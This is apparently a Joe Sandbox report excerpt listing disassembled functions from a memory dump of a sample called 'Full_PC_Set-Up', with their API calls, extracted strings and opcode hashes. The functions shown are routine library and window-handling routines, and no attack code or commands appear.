Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID: 1.2.40
API String ID: 0-4111957077
Opcode ID: d4dd2b1fbc0f9fd1998c7439131bf2232db010e9753658023c17c63c251a0c9c
Instruction ID: 995ef5a01d608f42149fee9ef2d71d97bf79d6db93d6dfc8b795a6d470b97358
Opcode Fuzzy Hash: d4dd2b1fbc0f9fd1998c7439131bf2232db010e9753658023c17c63c251a0c9c
Instruction Fuzzy Hash: 93B171B1E00218ABDF15EBA5DC41FEEB7B8AF48304F144569F905B7381EA79A900CB65

Function 00306040 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 00306193

Strings

Sk0, xrefs: 00306132
list<T> bad splice, xrefs: 0030616A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8Throw
String ID: Sk0$list<T> bad splice
API String ID: 2005118841-1846309420
Opcode ID: a4eaf7ae5a1cda80080025f11ef38622a1aa166ca7adbd47a5acd9e87e5ae092
Instruction ID: 2fe2ad46812bda14373ff1ed8652dd044bd8cc2c055f3460e92e5977b7990ac7
Opcode Fuzzy Hash: a4eaf7ae5a1cda80080025f11ef38622a1aa166ca7adbd47a5acd9e87e5ae092
Instruction Fuzzy Hash: 27517C7191021A9BCF09DF55DC52AEF73B5BF44340F104529F915AB285DB34AD26CF90

Function 002BE4B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120sleepwindowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00001A28,5EBD7D5F,00000000), ref: 002BE5DC
Sleep.KERNEL32(00000064,5EBD7D5F), ref: 002BE637

Strings

single.Lock fail, xrefs: 002BE60F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessagePostSleep
String ID: single.Lock fail
API String ID: 3903488535-3362914489
Opcode ID: b650f85752a81ddc4f9e20a994e827279df7188b97158b9681d0bb68855d5592
Instruction ID: bb2655436cdd8c0d3e3006d3099296cfdc7094b1d5adef87eefd3976a8250d0e
Opcode Fuzzy Hash: b650f85752a81ddc4f9e20a994e827279df7188b97158b9681d0bb68855d5592
Instruction Fuzzy Hash: F1417FB16147029FCB20EF24C481ADAB7E9FF58364F154A2DF56A87291E730F914CB92

Function 004B8B80 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

_memset.LIBCMT ref: 004B8C99
_wcsncpy.LIBCMT ref: 004B8CFE

Strings

A, xrefs: 004B8BAB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _malloc_memset_wcsncpy
String ID: A
API String ID: 4161508290-3554254475
Opcode ID: a26b87cdcc1fbfd997eed07d4d4624c51f349c642a16e5d7e4ef4789d0cef2bd
Instruction ID: 2e87f6ed1bb1287da77b8a72f38faec9e3c3901ba21319181e091e301073f1ee
Opcode Fuzzy Hash: a26b87cdcc1fbfd997eed07d4d4624c51f349c642a16e5d7e4ef4789d0cef2bd
Instruction Fuzzy Hash: 74415AB0D05218DBEB24DF68C841BEEBBB4AB45304F1081DEE40D67382DB385A84CFA5

Function 0029AD90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 0029ADF2
_memcpy_s.LIBCMT ref: 0029AE5A

Strings

3GP, xrefs: 0029AD98

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: String_base::_Xlen_memcpy_sstd::_
String ID: 3GP
API String ID: 923394732-222235373
Opcode ID: 0399d76024008c2a7e39f9cb3599f39b9c6048b1dc8ece6e2ba9a4c63f5e870c
Instruction ID: a84a4f030f43ad5e737b50b7e13356bf727be9ccd3747b3a833d782f48ef9a55
Opcode Fuzzy Hash: 0399d76024008c2a7e39f9cb3599f39b9c6048b1dc8ece6e2ba9a4c63f5e870c
Instruction Fuzzy Hash: 143175327247158B8F24DE58D88486FB3EAEFD5712320852EE156CB614E730BC6587F6

Function 00311360 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

_memset.LIBCMT ref: 003113F6
swprintf.LIBCMT ref: 00311409

Part of subcall function 0030B920: _memset.LIBCMT ref: 0030B990

Strings

%d exFAT, xrefs: 003113FD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$_mallocswprintf
String ID: %d exFAT
API String ID: 2739254734-2731258894
Opcode ID: f9af8bdb2e747be26746bae3caf7a16710ede1c94184e1c5e0a57e988f04eb40
Instruction ID: df25ee83e475afba2e2f934f722ba934321bfbb7eb67027978abc1ab3473113d
Opcode Fuzzy Hash: f9af8bdb2e747be26746bae3caf7a16710ede1c94184e1c5e0a57e988f04eb40
Instruction Fuzzy Hash: 4231D0B6704300ABD755EB28CC42F6FB3E9BB88B00F104A18F565DB3C1EB74A9058796

Function 003D8570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003D857E
CreateDIBSection.GDI32 ref: 003D85C6

Strings

(, xrefs: 003D85B5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateSection_memset
String ID: (
API String ID: 3331753385-3887548279
Opcode ID: dffe70071646d7b2ccd0df39cc131548ab353bbd3805d62c30cbba55061ac075
Instruction ID: 14554c26e4d4d258266097eec4d17a78537a4153ac745708c1dab8e6c90d4a17
Opcode Fuzzy Hash: dffe70071646d7b2ccd0df39cc131548ab353bbd3805d62c30cbba55061ac075
Instruction Fuzzy Hash: DA3147715093918BC315CF29989096BFBE4EFCA714F04495EF5C687312D671E909CB92

Function 002969A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 002969D4
_memcpy_s.LIBCMT ref: 00296A34

Strings

9u6, xrefs: 002969A6, 002969D3, 00296A2E, 00296A76

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcpy_s_wcsnlen
String ID: 9u6
API String ID: 296551695-1225334567
Opcode ID: aa3b5faac5791339043f7ac13e872c0fbded9e6176dba5dfdeee5109b61c7ce3
Instruction ID: cb059ce74be3c9718a534ad20dca7971a4e8ae486079aa6d0efa3bc02bbf2af6
Opcode Fuzzy Hash: aa3b5faac5791339043f7ac13e872c0fbded9e6176dba5dfdeee5109b61c7ce3
Instruction Fuzzy Hash: 142191726101119FDB14EF6CE888D2AB3E9EF95310B11866DF905EB215EA30AD25CBA1

Function 003ACAA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 003A74E0: FindResourceW.KERNEL32(5EBD7D5F,5EBD7D5F,PNG,?,?,003ACAD4,?), ref: 003A7505

FindResourceW.KERNEL32 ref: 003ACAF3

Part of subcall function 003D8B90: SizeofResource.KERNEL32(?,?,5EBD7D5F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003D8BD3
Part of subcall function 003D8B90: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,PNG,00000000,?), ref: 003D8BDD
Part of subcall function 003D8B90: LockResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,PNG,00000000,?), ref: 003D8BE8

Strings

PNG, xrefs: 003ACAE4

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$Find$LoadLockSizeof
String ID: PNG
API String ID: 3127896203-364855578
Opcode ID: 1023084caeaee3803f06a5f3b14d226c5ea9777961255add5bf5de7b7b4e56ee
Instruction ID: 056d1185bfa7d7c401beba2ca88005e6d810f9833da964f4a542aa412f24e490
Opcode Fuzzy Hash: 1023084caeaee3803f06a5f3b14d226c5ea9777961255add5bf5de7b7b4e56ee
Instruction Fuzzy Hash: 0C31E071109340ABD321DF15DD46F5BBBE4FF86B14F040A1DF495A6280EB74A908CBB6

Function 003D0AE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036E36E: SendMessageW.USER32(?,00001111,00000000,?), ref: 0036E390

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003D0B28
SendMessageW.USER32(00000050,0000110A,00000009,00000000), ref: 003D0B94

Part of subcall function 003CFE70: SendMessageW.USER32(00000050,0000110A,?,?), ref: 003CFEA0
Part of subcall function 003CFE70: SendMessageW.USER32(00000050,0000110A,00000006,?), ref: 003CFEDE

Strings

P, xrefs: 003D0B2A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend
String ID: P
API String ID: 3850602802-3110715001
Opcode ID: a7a1bf6440ee296d5f92f4d715eef2ced13853311520a5464519cf141ebf2edc
Instruction ID: 13ea9f9ca91a2d5978c426139830e0d111a8dc1db88de4cfd83cf336342f600c
Opcode Fuzzy Hash: a7a1bf6440ee296d5f92f4d715eef2ced13853311520a5464519cf141ebf2edc
Instruction Fuzzy Hash: D221D1723083409BD22ADB54E981F6BB7D5ABC8B18F10081FF6824B782C7A1EC44CB61

Function 002F4680 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F46A6
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 002F46B4

Strings

::{, xrefs: 002F46D1

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FromListPath_memset
String ID: ::{
API String ID: 3323807713-885247897
Opcode ID: ad7bceec2d309ba4cf420addf9b8971532529dda7e02ee7a490992044c46bc0b
Instruction ID: b58b900a38bbc551fca4c2b2ae7f082fbdae960781db2ed0668a38e50babeaa8
Opcode Fuzzy Hash: ad7bceec2d309ba4cf420addf9b8971532529dda7e02ee7a490992044c46bc0b
Instruction Fuzzy Hash: BC21C1706007019FD308EB28CC85E6BB3A5BFC4314F548A6CA429CB1E1EB75E905CB81

Function 003188F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 00318981
_strlen.LIBCMT ref: 00318996

Strings

%I64d, %I64d, %d, xrefs: 00318975

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _sprintf_strlen
String ID: %I64d, %I64d, %d
API String ID: 3493289842-3309471159
Opcode ID: 215b060e1bfcce13015d9cf4a189bacc23056f0c4568e1b6ddfb424f27ead494
Instruction ID: 21e867be8b04a49704918efbb557c18fd437a6b93cdbdf5e6e4a3766fb6318e1
Opcode Fuzzy Hash: 215b060e1bfcce13015d9cf4a189bacc23056f0c4568e1b6ddfb424f27ead494
Instruction Fuzzy Hash: 312145B1910108AFCB15EB54CC51EFEB3B8EF48304F40459DB515AB152DF706A98CF55

Function 003C6DA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNEL32(?,TEXTFILE,003C6D50,?), ref: 003C6DDB
FindResourceW.KERNEL32(00000000,?,TEXTFILE), ref: 003C6E18

Strings

TEXTFILE, xrefs: 003C6DCE, 003C6E11

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$EnumFindNames
String ID: TEXTFILE
API String ID: 2129509440-343777186
Opcode ID: 266700f39b356da5426d7af41be5848c5d60c8ab11d8d01989cbe8d31d642d3c
Instruction ID: e86cecb29930de59e5ec2bcff43e1f3ee48ef26ba44ae410ff7c009a245e636b
